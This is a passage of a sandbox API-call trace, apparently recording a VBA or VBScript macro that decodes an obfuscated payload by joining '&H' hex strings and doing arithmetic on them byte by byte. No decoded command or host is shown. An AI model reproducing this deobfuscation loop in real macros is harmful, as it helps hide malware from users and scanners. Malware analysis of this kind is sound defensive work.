bstrLeft="&H7", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.145] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.145] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.145] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.146] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.146] VarBstrCat (in: bstrLeft="&H3", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.146] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.146] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.146] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.146] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.146] VarBstrCat (in: bstrLeft="&H7", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.146] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.146] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.146] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.146] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.146] VarBstrCat (in: bstrLeft="&H8", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.146] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.146] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.147] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.147] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.147] VarBstrCat (in: bstrLeft="&Hf", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.147] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.147] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.147] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.147] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.147] VarBstrCat (in: bstrLeft="&H7", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.147] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.147] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.147] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.147] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.147] VarBstrCat (in: bstrLeft="&H0", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.148] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.148] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.148] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.148] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.148] VarBstrCat (in: bstrLeft="&Hc", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.148] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.148] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.148] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.148] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.148] VarBstrCat (in: bstrLeft="&H2", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.148] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.148] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.148] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.148] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.149] VarBstrCat (in: bstrLeft="&Hc", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.149] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.149] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.149] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.149] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.149] VarBstrCat (in: bstrLeft="&H3", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.151] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.151] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.151] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.151] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.151] VarBstrCat (in: bstrLeft="&H7", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.151] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.151] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.151] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.151] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.151] VarBstrCat (in: bstrLeft="&Hb", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.151] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.151] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.151] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.152] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.152] VarBstrCat (in: bstrLeft="&Hf", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.152] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.152] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.152] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.152] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.152] VarBstrCat (in: bstrLeft="&Hf", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.152] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.152] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.152] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.152] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.152] VarBstrCat (in: bstrLeft="&H3", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.152] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.153] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.153] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.153] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.153] VarBstrCat (in: bstrLeft="&Hc", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.153] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.153] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.153] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.153] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.153] VarBstrCat (in: bstrLeft="&H3", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.153] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.153] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.154] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.154] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.154] VarBstrCat (in: bstrLeft="&H7", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.154] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.154] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.154] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.154] VarBstrCat (in: bstrLeft="&H", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.154] VarBstrCat (in: bstrLeft="&He", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.154] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.154] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.154] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.154] VarBstrCat (in: bstrLeft="&H", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.154] VarBstrCat (in: bstrLeft="&He", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.155] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.155] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.155] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.155] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.155] VarBstrCat (in: bstrLeft="&H7", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.155] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.155] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.155] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.155] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.155] VarBstrCat (in: bstrLeft="&H0", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.155] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.155] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.156] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.156] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.156] VarBstrCat (in: bstrLeft="&H5", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.156] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.156] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.156] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.156] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.156] VarBstrCat (in: bstrLeft="&Hc", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.156] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.156] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.156] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.156] VarBstrCat (in: bstrLeft="&H", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.156] VarBstrCat (in: bstrLeft="&He", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.157] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.157] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.157] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.157] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.157] VarBstrCat (in: bstrLeft="&Hf", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.157] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.157] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.157] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.157] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.157] VarBstrCat (in: bstrLeft="&Hb", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.157] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.157] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.158] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.158] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.158] VarBstrCat (in: bstrLeft="&Hb", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.158] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.158] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.158] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.158] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.158] VarBstrCat (in: bstrLeft="&Hc", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.158] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.158] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.158] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.158] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.158] VarBstrCat (in: bstrLeft="&Ha", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.159] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.159] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.159] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.159] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.159] VarBstrCat (in: bstrLeft="&Hf", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.159] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.159] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.159] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.159] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.159] VarBstrCat (in: bstrLeft="&H8", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.159] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.159] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.160] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.160] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.160] VarBstrCat (in: bstrLeft="&Hf", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.160] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.160] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.160] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.160] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.160] VarBstrCat (in: bstrLeft="&Hc", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.160] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.160] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.160] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.161] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.161] VarBstrCat (in: bstrLeft="&H2", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.161] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.161] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.161] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.161] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.161] VarBstrCat (in: bstrLeft="&Hc", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.161] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.161] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.161] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.161] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.161] VarBstrCat (in: bstrLeft="&Hb", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.161] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.161] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.161] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.162] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.162] VarBstrCat (in: bstrLeft="&Hf", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.162] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.162] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.162] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.162] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.162] VarBstrCat (in: bstrLeft="&H8", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.162] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.162] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.162] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.162] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.162] VarBstrCat (in: bstrLeft="&H1", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.162] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.162] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.162] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.162] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.162] VarBstrCat (in: bstrLeft="&H7", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.163] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, 